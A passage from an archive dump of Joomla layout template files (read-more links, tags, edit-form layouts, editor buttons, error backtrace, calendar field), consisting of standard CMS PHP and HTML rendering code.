<a class="btn btn-secondary" href="<?php echo
$displayData['link']; ?>" aria-label="<?php echo
Text::sprintf('JGLOBAL_READ_MORE_TITLE',
$this->escape($item->title)); ?>">
<?php echo '<span class="icon-chevron-' .
$direction . '"
aria-hidden="true"></span>'; ?>
<?php echo Text::_('JGLOBAL_READ_MORE'); ?>
</a>
<?php else : ?>
<a class="btn btn-secondary" href="<?php echo
$displayData['link']; ?>" aria-label="<?php echo
Text::sprintf('JGLOBAL_READ_MORE_TITLE',
$this->escape($item->title)); ?>">
<?php echo '<span class="icon-chevron-' .
$direction . '"
aria-hidden="true"></span>'; ?>
<?php echo
Text::sprintf('JGLOBAL_READ_MORE_TITLE',
HTMLHelper::_('string.truncate', $item->title,
$params->get('readmore_limit'))); ?>
</a>
<?php endif; ?>
</p>
joomla/content/tags.php000064400000002401151161525060011145
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Router\Route;
use Joomla\Component\Tags\Site\Helper\RouteHelper;
use Joomla\Registry\Registry;
$authorised = Factory::getUser()->getAuthorisedViewLevels();
?>
<?php if (!empty($displayData)) : ?>
<ul class="tags list-inline">
<?php foreach ($displayData as $i => $tag) : ?>
<?php if (in_array($tag->access, $authorised)) : ?>
<?php $tagParams = new Registry($tag->params); ?>
<?php $link_class =
$tagParams->get('tag_link_class', 'btn-info'); ?>
<li class="list-inline-item tag-<?php echo
$tag->tag_id; ?> tag-list<?php echo $i; ?>">
<a href="<?php echo
Route::_(RouteHelper::getComponentTagRoute($tag->tag_id . ':'
. $tag->alias, $tag->language)); ?>" class="btn btn-sm
<?php echo $link_class; ?>">
<?php echo $this->escape($tag->title);
?>
</a>
</li>
<?php endif; ?>
<?php endforeach; ?>
</ul>
<?php endif; ?>
joomla/content/text_filters.php000064400000003246151161525060012733
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2017 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text;
?>
<fieldset class="<?php echo !empty($displayData->formclass) ?
$displayData->formclass : 'form-horizontal'; ?>">
<legend><?php echo $displayData->name; ?></legend>
<details>
<summary class="filter-notes"><?php echo
Text::_('COM_CONFIG_TEXT_FILTERS_SUMMARY'); ?></summary>
<div class="filter-notes"><?php echo
Text::_('COM_CONFIG_TEXT_FILTERS_DESC'); ?></div>
</details>
<details>
<summary class="filter-notes"><?php echo
Text::_('JGLOBAL_FILTER_TYPE_LABEL'); ?></summary>
<div class="filter-notes"><?php echo
Text::_('JGLOBAL_FILTER_TYPE_DESC'); ?></div>
</details>
<details>
<summary class="filter-notes"><?php echo
Text::_('JGLOBAL_FILTER_TAGS_LABEL'); ?></summary>
<div class="filter-notes"><?php echo
Text::_('JGLOBAL_FILTER_TAGS_DESC'); ?></div>
</details>
<details>
<summary class="filter-notes"><?php echo
Text::_('JGLOBAL_FILTER_ATTRIBUTES_LABEL'); ?></summary>
<div class="filter-notes"><?php echo
Text::_('JGLOBAL_FILTER_ATTRIBUTES_DESC'); ?></div>
</details>
<?php $fieldsnames = explode(',',
$displayData->fieldsname); ?>
<?php foreach ($fieldsnames as $fieldname) : ?>
<?php foreach ($displayData->form->getFieldset($fieldname)
as $field) : ?>
<div class="table-responsive"><?php echo
$field->input; ?></div>
<?php endforeach; ?>
<?php endforeach; ?>
</fieldset>
joomla/edit/associations.php000064400000002231151161525060012162
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
$form = $displayData->getForm();
$options = [
'formControl' => $form->getFormControl(),
'hidden' => (int)
($form->getValue('language', null, '*') ===
'*'),
];
// Load JavaScript message titles
Text::script('ERROR');
Text::script('WARNING');
Text::script('NOTICE');
Text::script('MESSAGE');
Text::script('JGLOBAL_ASSOC_NOT_POSSIBLE');
Text::script('JGLOBAL_ASSOCIATIONS_RESET_WARNING');
/** @var \Joomla\CMS\Document\HtmlDocument $doc */
$doc = Factory::getApplication()->getDocument();
$wa = $doc->getWebAssetManager();
$wa->getRegistry()->addExtensionRegistryFile('com_associations');
$wa->useScript('com_associations.associations-edit');
$doc->addScriptOptions('system.associations.edit', $options);
// JLayout for standard handling of associations fields in the
administrator items edit screens.
echo $form->renderFieldset('item_associations');
joomla/edit/details.php000064400000003636151161525060011122
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*
* @deprecated 3.2 removed without replacement in 4.0 see global.php for
an alternative
*/
defined('_JEXEC') or die;
$app = JFactory::getApplication();
// JLayout for standard handling of the details sidebar in administrator
edit screens.
$title = $displayData->getForm()->getValue('title');
$published =
$displayData->getForm()->getField('published');
$saveHistory =
$displayData->get('state')->get('params')->get('save_history',
0);
?>
<div class="span2">
<h4><?php echo JText::_('JDETAILS'); ?></h4>
<hr />
<fieldset class="form-vertical">
<?php if (empty($title)) : ?>
<div class="control-group">
<div class="controls">
<?php echo
$displayData->getForm()->getValue('name'); ?>
</div>
</div>
<?php else : ?>
<div class="control-group">
<div class="controls">
<?php echo
$displayData->getForm()->getValue('title'); ?>
</div>
</div>
<?php endif; ?>
<?php if ($published) : ?>
<?php echo
$displayData->getForm()->renderField('published'); ?>
<?php else : ?>
<?php echo
$displayData->getForm()->renderField('state'); ?>
<?php endif; ?>
<?php echo
$displayData->getForm()->renderField('access'); ?>
<?php echo
$displayData->getForm()->renderField('featured'); ?>
<?php if (JLanguageMultilang::isEnabled()) : ?>
<?php echo
$displayData->getForm()->renderField('language'); ?>
<?php else : ?>
<input type="hidden" id="jform_language"
name="jform[language]" value="<?php echo
$displayData->getForm()->getValue('language'); ?>"
/>
<?php endif; ?>
<?php echo
$displayData->getForm()->renderField('tags'); ?>
<?php if ($saveHistory) : ?>
<?php echo
$displayData->getForm()->renderField('version_note'); ?>
<?php endif; ?>
</fieldset>
</div>
joomla/edit/fieldset.php000064400000002377151161525060011275
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
$app = Factory::getApplication();
$form = $displayData->getForm();
$name = $displayData->get('fieldset');
$fieldSet = $form->getFieldset($name);
if (empty($fieldSet)) {
return;
}
$ignoreFields = $displayData->get('ignore_fields') ? : [];
$extraFields = $displayData->get('extra_fields') ? : [];
if (!empty($displayData->showOptions) ||
$displayData->get('show_options', 1)) {
if (isset($extraFields[$name])) {
foreach ($extraFields[$name] as $f) {
if (in_array($f, $ignoreFields)) {
continue;
}
if ($form->getField($f)) {
$fieldSet[] = $form->getField($f);
}
}
}
$html = [];
foreach ($fieldSet as $field) {
$html[] = $field->renderField();
}
echo implode('', $html);
} else {
$html = [];
$html[] = '<div class="hidden">';
foreach ($fieldSet as $field) {
$html[] = $field->input;
}
$html[] = '</div>';
echo implode('', $html);
}
joomla/edit/frontediting_modules.php000064400000006012151161525060013710
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;
// JLayout for standard handling of the edit modules:
$moduleHtml = &$displayData['moduleHtml'];
$mod = $displayData['module'];
$position = $displayData['position'];
$menusEditing = $displayData['menusediting'];
$parameters = ComponentHelper::getParams('com_modules');
$redirectUri = '&return=' .
urlencode(base64_encode(Uri::getInstance()->toString()));
$target = '_blank';
$itemid =
Factory::getApplication()->getInput()->get('Itemid',
'0', 'int');
$editUrl = Uri::base() .
'administrator/index.php?option=com_modules&task=module.edit&id='
. (int) $mod->id;
// If Module editing site
if ($parameters->get('redirect_edit', 'site') ===
'site') {
$editUrl = Uri::base() .
'index.php?option=com_config&view=modules&id=' . (int)
$mod->id . '&Itemid=' . $itemid . $redirectUri;
$target = '_self';
}
// Add link for editing the module
$count = 0;
$moduleHtml = preg_replace(
// Find first tag of module
'/^(\s*<(?:div|span|nav|ul|ol|h\d|section|aside|address|article|form)
[^>]*>)/',
// Create and add the edit link and tooltip
'\\1 <a class="btn btn-link jmodedit"
href="' . $editUrl . '" target="' . $target .
'" aria-describedby="tip-' . (int) $mod->id .
'">
<span class="icon-edit"
aria-hidden="true"></span><span
class="visually-hidden">' .
Text::_('JGLOBAL_EDIT') . '</span></a>
<div role="tooltip" id="tip-' . (int) $mod->id .
'">' . Text::_('JLIB_HTML_EDIT_MODULE') .
'<br>' . htmlspecialchars($mod->title, ENT_COMPAT,
'UTF-8') . '<br>' .
sprintf(Text::_('JLIB_HTML_EDIT_MODULE_IN_POSITION'),
htmlspecialchars($position, ENT_COMPAT, 'UTF-8')) .
'</div>',
$moduleHtml,
1,
$count
);
// If menu editing is enabled and allowed and it's a menu module add
link for editing
if ($menusEditing && $mod->module === 'mod_menu') {
// find the menu item id
$regex = '/\bitem-(\d+)\b/';
preg_match_all($regex, $moduleHtml, $menuItemids);
if ($menuItemids) {
foreach ($menuItemids[1] as $menuItemid) {
$menuitemEditUrl = Uri::base() .
'administrator/index.php?option=com_menus&view=item&client_id=0&layout=edit&id='
. (int) $menuItemid;
$moduleHtml = preg_replace(
// Find the link
'/(<li.*?\bitem-' . $menuItemid .
'.*?>)/',
// Create and add the edit link
'\\1 <a class="jmenuedit small"
href="' . $menuitemEditUrl . '" target="' .
$target . '" title="' .
Text::_('JLIB_HTML_EDIT_MENU_ITEM') . ' ' .
sprintf(Text::_('JLIB_HTML_EDIT_MENU_ITEM_ID'), (int)
$menuItemid) . '">
<span class="icon-edit"
aria-hidden="true"></span></a>',
$moduleHtml
);
}
}
}
joomla/edit/global.php000064400000003464151161525060010734 0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
$app = Factory::getApplication();
$form = $displayData->getForm();
$input = $app->getInput();
$component = $input->getCmd('option',
'com_content');
if ($component === 'com_categories') {
$extension = $input->getCmd('extension',
'com_content');
$parts = explode('.', $extension);
$component = $parts[0];
}
$saveHistory =
ComponentHelper::getParams($component)->get('save_history',
0);
$fields = $displayData->get('fields') ?: [
'transition',
['parent', 'parent_id'],
['published', 'state', 'enabled'],
['category', 'catid'],
'featured',
'sticky',
'access',
'language',
'tags',
'note',
'version_note',
];
$hiddenFields = $displayData->get('hidden_fields') ?: [];
if (!$saveHistory) {
$hiddenFields[] = 'version_note';
}
if (!Multilanguage::isEnabled()) {
$hiddenFields[] = 'language';
$form->setFieldAttribute('language', 'default',
'*');
}
$html = [];
$html[] = '<fieldset class="form-vertical">';
$html[] = '<legend class="visually-hidden">' .
Text::_('JGLOBAL_FIELDSET_GLOBAL') . '</legend>';
foreach ($fields as $field) {
foreach ((array) $field as $f) {
if ($form->getField($f)) {
if (in_array($f, $hiddenFields)) {
$form->setFieldAttribute($f, 'type',
'hidden');
}
$html[] = $form->renderField($f);
break;
}
}
}
$html[] = '</fieldset>';
echo implode('', $html);
joomla/edit/item_title.php000064400000001127151161525060011625
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*
* @deprecated 3.2
*/
defined('_JEXEC') or die;
$title = $displayData->getForm()->getValue('title');
$name = $displayData->getForm()->getValue('name');
?>
<?php if ($title) : ?>
<h2><?php echo htmlspecialchars($title, ENT_QUOTES,
'UTF-8'); ?></h2>
<?php endif; ?>
<?php if ($name) : ?>
<h2><?php echo htmlspecialchars($name, ENT_QUOTES,
'UTF-8'); ?></h2>
<?php endif;
joomla/edit/metadata.php000064400000002353151161525060011250
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text;
$form = $displayData->getForm();
// JLayout for standard handling of metadata fields in the administrator
content edit screens.
$fieldSets = $form->getFieldsets('metadata');
?>
<?php foreach ($fieldSets as $name => $fieldSet) : ?>
<?php if (isset($fieldSet->description) &&
trim($fieldSet->description)) : ?>
<div class="alert alert-info">
<span class="icon-info-circle"
aria-hidden="true"></span><span
class="visually-hidden"><?php echo
Text::_('INFO'); ?></span>
<?php echo
$this->escape(Text::_($fieldSet->description)); ?>
</div>
<?php endif; ?>
<?php
// Include the real fields in this panel.
if ($name === 'jmetadata') {
echo $form->renderField('metadesc');
echo $form->renderField('metakey');
}
foreach ($form->getFieldset($name) as $field) {
if ($field->name !== 'jform[metadata][tags][]') {
echo $field->renderField();
}
} ?>
<?php endforeach; ?>
joomla/edit/params.php000064400000014443151161525060010756 0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
$app = Factory::getApplication();
$form = $displayData->getForm();
$fieldSets = $form->getFieldsets();
$helper = $displayData->get('useCoreUI', false) ?
'uitab' : 'bootstrap';
if (empty($fieldSets)) {
return;
}
$ignoreFieldsets = $displayData->get('ignore_fieldsets') ?:
[];
$outputFieldsets = $displayData->get('output_fieldsets') ?:
[];
$ignoreFieldsetFields =
$displayData->get('ignore_fieldset_fields') ?: [];
$ignoreFields = $displayData->get('ignore_fields') ?: [];
$extraFields = $displayData->get('extra_fields') ?: [];
$tabName = $displayData->get('tab_name') ?:
'myTab';
// These are required to preserve data on save when fields are not
displayed.
$hiddenFieldsets = $displayData->get('hiddenFieldsets') ?: [];
// These are required to configure showing and hiding fields in the editor.
$configFieldsets = $displayData->get('configFieldsets') ?: [];
// Handle the hidden fieldsets when show_options is set false
if (!$displayData->get('show_options', 1)) {
// The HTML buffer
$html = [];
// Loop over the fieldsets
foreach ($fieldSets as $name => $fieldSet) {
// Check if the fieldset should be ignored
if (in_array($name, $ignoreFieldsets, true)) {
continue;
}
// If it is a hidden fieldset, render the inputs
if (in_array($name, $hiddenFieldsets)) {
// Loop over the fields
foreach ($form->getFieldset($name) as $field) {
// Add only the input on the buffer
$html[] = $field->input;
}
// Make sure the fieldset is not rendered twice
$ignoreFieldsets[] = $name;
}
// Check if it is the correct fieldset to ignore
if (strpos($name, 'basic') === 0) {
// Ignore only the fieldsets which are defined by the options
not the custom fields ones
$ignoreFieldsets[] = $name;
}
}
// Echo the hidden fieldsets
echo implode('', $html);
}
$opentab = false;
$xml = $form->getXml();
// Loop again over the fieldsets
foreach ($fieldSets as $name => $fieldSet) {
// Ensure any fieldsets we don't want to show are skipped
(including repeating formfield fieldsets)
if (
(isset($fieldSet->repeat) && $fieldSet->repeat ===
true)
|| in_array($name, $ignoreFieldsets)
|| (!empty($configFieldsets) && in_array($name,
$configFieldsets, true))
|| (!empty($hiddenFieldsets) && in_array($name,
$hiddenFieldsets, true))
) {
continue;
}
// Determine the label
if (!empty($fieldSet->label)) {
$label = Text::_($fieldSet->label);
} else {
$label = strtoupper('JGLOBAL_FIELDSET_' . $name);
if (Text::_($label) === $label) {
$label =
strtoupper($app->getInput()->get('option') . '_'
. $name . '_FIELDSET_LABEL');
}
$label = Text::_($label);
}
$hasChildren = $xml->xpath('//fieldset[@name="' .
$name . '"]//fieldset[not(ancestor::field/form/*)]');
$hasParent =
$xml->xpath('//fieldset//fieldset[@name="' . $name .
'"]');
$isGrandchild =
$xml->xpath('//fieldset//fieldset//fieldset[@name="' .
$name . '"]');
if (!$isGrandchild && $hasParent) {
echo '<fieldset id="fieldset-' . $name .
'" class="options-form ' . (!empty($fieldSet->class)
? $fieldSet->class : '') . '">';
echo '<legend>' . $label .
'</legend>';
// Include the description when available
if (!empty($fieldSet->description)) {
echo '<div class="alert
alert-info">';
echo '<span class="icon-info-circle"
aria-hidden="true"></span><span
class="visually-hidden">' . Text::_('INFO') .
'</span> ';
echo Text::_($fieldSet->description);
echo '</div>';
}
echo '<div class="form-grid">';
} elseif (!$hasParent) {
// Tabs
if ($opentab) {
if ($opentab > 1) {
echo '</div>';
echo '</fieldset>';
}
// End previous tab
echo HTMLHelper::_($helper . '.endTab');
}
// Start the tab
echo HTMLHelper::_($helper . '.addTab', $tabName,
'attrib-' . $name, $label);
$opentab = 1;
// Directly add a fieldset if we have no children
if (!$hasChildren) {
echo '<fieldset id="fieldset-' . $name .
'" class="options-form ' . (!empty($fieldSet->class)
? $fieldSet->class : '') . '">';
echo '<legend>' . $label .
'</legend>';
// Include the description when available
if (!empty($fieldSet->description)) {
echo '<div class="alert
alert-info">';
echo '<span class="icon-info-circle"
aria-hidden="true"></span><span
class="visually-hidden">' . Text::_('INFO') .
'</span> ';
echo Text::_($fieldSet->description);
echo '</div>';
}
echo '<div class="form-grid">';
$opentab = 2;
} elseif (!empty($fieldSet->description)) {
// Include the description when available
echo '<div class="alert alert-info
alert-parent">';
echo '<span class="icon-info-circle"
aria-hidden="true"></span><span
class="visually-hidden">' . Text::_('INFO') .
'</span> ';
echo Text::_($fieldSet->description);
echo '</div>';
}
}
// We're on the deepest level => output fields
if (!$hasChildren) {
// The name of the fieldset to render
$displayData->fieldset = $name;
// Force to show the options
$displayData->showOptions = true;
// Render the fieldset
echo LayoutHelper::render('joomla.edit.fieldset',
$displayData);
}
// Close open fieldset
if (!$isGrandchild && $hasParent) {
echo '</div>';
echo '</fieldset>';
}
}
if ($opentab) {
if ($opentab > 1) {
echo '</div>';
echo '</fieldset>';
}
// End previous tab
echo HTMLHelper::_($helper . '.endTab');
}
joomla/edit/publishingdata.php000064400000001730151161525060012464
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$form = $displayData->getForm();
$fields = $displayData->get('fields') ?: [
'publish_up',
'publish_down',
'featured_up',
'featured_down',
['created', 'created_time'],
['created_by', 'created_user_id'],
'created_by_alias',
['modified', 'modified_time'],
['modified_by', 'modified_user_id'],
'version',
'hits',
'id'
];
$hiddenFields = $displayData->get('hidden_fields') ?: [];
foreach ($fields as $field) {
foreach ((array) $field as $f) {
if ($form->getField($f)) {
if (in_array($f, $hiddenFields)) {
$form->setFieldAttribute($f, 'type',
'hidden');
}
echo $form->renderField($f);
break;
}
}
}
joomla/edit/title_alias.php000064400000001177151161525060011765
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$form = $displayData->getForm();
$title = $form->getField('title') ? 'title' :
($form->getField('name') ? 'name' : '');
?>
<div class="row title-alias form-vertical mb-3">
<div class="col-12 col-md-6">
<?php echo $title ? $form->renderField($title) :
''; ?>
</div>
<div class="col-12 col-md-6">
<?php echo $form->renderField('alias'); ?>
</div>
</div>
joomla/editors/buttons/button.php000064400000005314151161525060013225
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2014 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Uri\Uri;
/** @var \Joomla\CMS\Editor\Button\Button $button */
$button = $displayData;
/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa =
Factory::getApplication()->getDocument()->getWebAssetManager();
$btnAsset = 'editor-button.' . $button->getButtonName();
// Enable the button assets if any
if ($wa->assetExists('style', $btnAsset)) {
$wa->useStyle($btnAsset);
}
if ($wa->assetExists('script', $btnAsset)) {
$wa->useScript($btnAsset);
}
$class = 'btn btn-secondary';
$class .= $button->get('class') ? ' ' .
$button->get('class') : null;
$class .= $button->get('modal') ? ' modal-button' :
null;
$href = '#' . $button->get('editor') .
'_' . strtolower($button->get('name', ''))
. '_modal';
$link = $button->get('link');
$onclick = $button->get('onclick') ? '
onclick="' . $button->get('onclick') .
'"' : '';
$title = $button->get('title') ?
$button->get('title') : $button->get('text',
'');
$icon = $button->get('icon');
$action = $button->get('action', '');
$options = (array) $button->get('options');
// Correct the link, check for legacy with & in it, and prepend a
base Uri
if ($link && $link[0] !== '#') {
$link = str_contains($link, '&') ?
htmlspecialchars_decode($link) : $link;
$link = Uri::base(true) . '/' . $link;
$options['src'] = $options['src'] ?? $link;
}
// Detect a legacy BS modal, and set action to "modal" for legacy
buttons, when possible
$legacyModal = $button->get('modal');
// Prepare default values for modal
if ($action === 'modal') {
$wa->useScript('joomla.dialog');
$legacyModal = false;
$options['popupType'] = $options['popupType'] ??
'iframe';
$options['textHeader'] = $options['textHeader'] ??
$title;
$options['iconHeader'] = $options['iconHeader'] ??
'icon-' . $icon;
}
$optStr = $options && $action ? json_encode($options,
JSON_UNESCAPED_SLASHES) : '';
?>
<button type="button"
data-joomla-editor-button-action="<?php echo
$this->escape($action); ?>"
data-joomla-editor-button-options="<?php echo
$this->escape($optStr); ?>"
class="xtd-button btn btn-secondary <?php echo $class;
?>" title="<?php echo $this->escape($title); ?>"
<?php echo $onclick; ?>
<?php echo $legacyModal ? 'data-bs-toggle="modal"
data-bs-target="' . $href . '"' : ''
?>>
<?php if ($icon) : ?>
<span class="icon-<?php echo $icon; ?>"
aria-hidden="true"></span>
<?php endif; ?>
<?php echo $button->get('text'); ?>
</button>
joomla/editors/buttons.php000064400000001451151161525060011710
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2014 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text;
$buttons = $displayData;
?>
<div class="editor-xtd-buttons" role="toolbar"
aria-label="<?php echo Text::_('JTOOLBAR');
?>">
<?php if ($buttons) : ?>
<?php foreach ($buttons as $button) :
$options = (array) $button->get('options');
$legacyModal = $button->get('modal');
?>
<?php echo $this->sublayout('button', $button);
?>
<?php echo $legacyModal ?
$this->sublayout('modal', $button) : ''; ?>
<?php endforeach; ?>
<?php endif; ?>
</div>
joomla/error/backtrace.php000064400000003502151161525060011610
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2017 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper;
/** @var $displayData array */
$backtraceList = $displayData['backtrace'];
if (!$backtraceList) {
return;
}
$class = $displayData['class'] ?? 'table table-striped
table-bordered';
?>
<h2 id="caption">Call Stack</h2>
<table class="<?php echo $class ?>"
aria-describedby="caption">
<thead>
<tr>
<th scope="col">
<strong>#</strong>
</th>
<th scope="col">
<strong>Function</strong>
</th>
<th scope="col">
<strong>Location</strong>
</th>
</tr>
</thead>
<tbody>
<?php foreach ($backtraceList as $k => $backtrace) : ?>
<tr>
<td>
<?php echo $k + 1; ?>
</td>
<?php if (isset($backtrace['class'])) : ?>
<td>
<?php echo $backtrace['class'] .
$backtrace['type'] . $backtrace['function'] .
'()'; ?>
</td>
<?php else : ?>
<td>
<?php echo $backtrace['function'] .
'()'; ?>
</td>
<?php endif; ?>
<?php if (isset($backtrace['file'])) : ?>
<td>
<?php echo
HTMLHelper::_('debug.xdebuglink', $backtrace['file'],
$backtrace['line']); ?>
</td>
<?php else : ?>
<td>
 
</td>
<?php endif; ?>
</tr>
<?php endforeach; ?>
</tbody>
</table>
joomla/error/index.html000064400000000037151161525060011155
0ustar00<!DOCTYPE html><title></title>
joomla/form/field/calendar.php000064400000017157151161525060012352
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\Utilities\ArrayHelper;
extract($displayData);
// Get some system objects.
$document = Factory::getApplication()->getDocument();
$lang = Factory::getApplication()->getLanguage();
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attributes for eg,
data-*.
*
* Calendar Specific
* @var string $helperPath The relative path for the helper file
* @var string $minYear The minimum year, that will be
subtracted/added to current year
* @var string $maxYear The maximum year, that will be
subtracted/added to current year
* @var integer $todaybutton The today button
* @var integer $weeknumbers The week numbers display
* @var integer $showtime The time selector display
* @var integer $filltable The previous/next month filling
* @var integer $timeformat The time format
* @var integer $singleheader Display different header row for
month/year
* @var string $direction The document direction
* @var string $calendar The calendar type
* @var array $weekend The weekends days
* @var integer $firstday The first day of the week
* @var string $format The format of date and time
*/
$inputvalue = '';
// Build the attributes array.
$attributes = [];
empty($size) ? null : $attributes['size'] = $size;
empty($maxlength) ? null : $attributes['maxlength'] = $maxLength;
empty($class) ? $attributes['class'] =
'form-control' : $attributes['class'] =
'form-control ' . $class;
!$readonly ? null : $attributes['readonly'] =
'readonly';
!$disabled ? null : $attributes['disabled'] =
'disabled';
empty($onchange) ? null : $attributes['onchange'] = $onchange;
if ($required) {
$attributes['required'] = '';
}
// Handle the special case for "now".
if (strtoupper($value) === 'NOW') {
$value = Factory::getDate()->format('Y-m-d H:i:s');
}
$readonly = isset($attributes['readonly']) &&
$attributes['readonly'] === 'readonly';
$disabled = isset($attributes['disabled']) &&
$attributes['disabled'] === 'disabled';
if (is_array($attributes)) {
$attributes = ArrayHelper::toString($attributes);
}
$calendarAttrs = [
'data-inputfield' => $id,
'data-button' => $id . '_btn',
'data-date-format' => $format,
'data-firstday' => empty($firstday) ? ''
: $firstday,
'data-weekend' => empty($weekend) ? '' :
implode(',', $weekend),
'data-today-btn' => $todaybutton,
'data-week-numbers' => $weeknumbers,
'data-show-time' => $showtime,
'data-show-others' => $filltable,
'data-time24' => $timeformat,
'data-only-months-nav' => $singleheader,
'data-min-year' => $minYear,
'data-max-year' => $maxYear,
'data-date-type' => strtolower($calendar),
];
$calendarAttrsStr = ArrayHelper::toString($calendarAttrs);
// Add language strings
$strings = [
// Days
'SUNDAY', 'MONDAY', 'TUESDAY',
'WEDNESDAY', 'THURSDAY', 'FRIDAY',
'SATURDAY',
// Short days
'SUN', 'MON', 'TUE', 'WED',
'THU', 'FRI', 'SAT',
// Months
'JANUARY', 'FEBRUARY', 'MARCH',
'APRIL', 'MAY', 'JUNE', 'JULY',
'AUGUST', 'SEPTEMBER', 'OCTOBER',
'NOVEMBER', 'DECEMBER',
// Short months
'JANUARY_SHORT', 'FEBRUARY_SHORT',
'MARCH_SHORT', 'APRIL_SHORT', 'MAY_SHORT',
'JUNE_SHORT',
'JULY_SHORT', 'AUGUST_SHORT',
'SEPTEMBER_SHORT', 'OCTOBER_SHORT',
'NOVEMBER_SHORT', 'DECEMBER_SHORT',
// Buttons
'JCLOSE', 'JCLEAR',
'JLIB_HTML_BEHAVIOR_TODAY',
// Miscellaneous
'JLIB_HTML_BEHAVIOR_WK',
];
foreach ($strings as $c) {
Text::script($c);
}
// These are new strings. Make sure they exist. Can be generalised at later
time: eg in 4.1 version.
if ($lang->hasKey('JLIB_HTML_BEHAVIOR_AM')) {
Text::script('JLIB_HTML_BEHAVIOR_AM');
}
if ($lang->hasKey('JLIB_HTML_BEHAVIOR_PM')) {
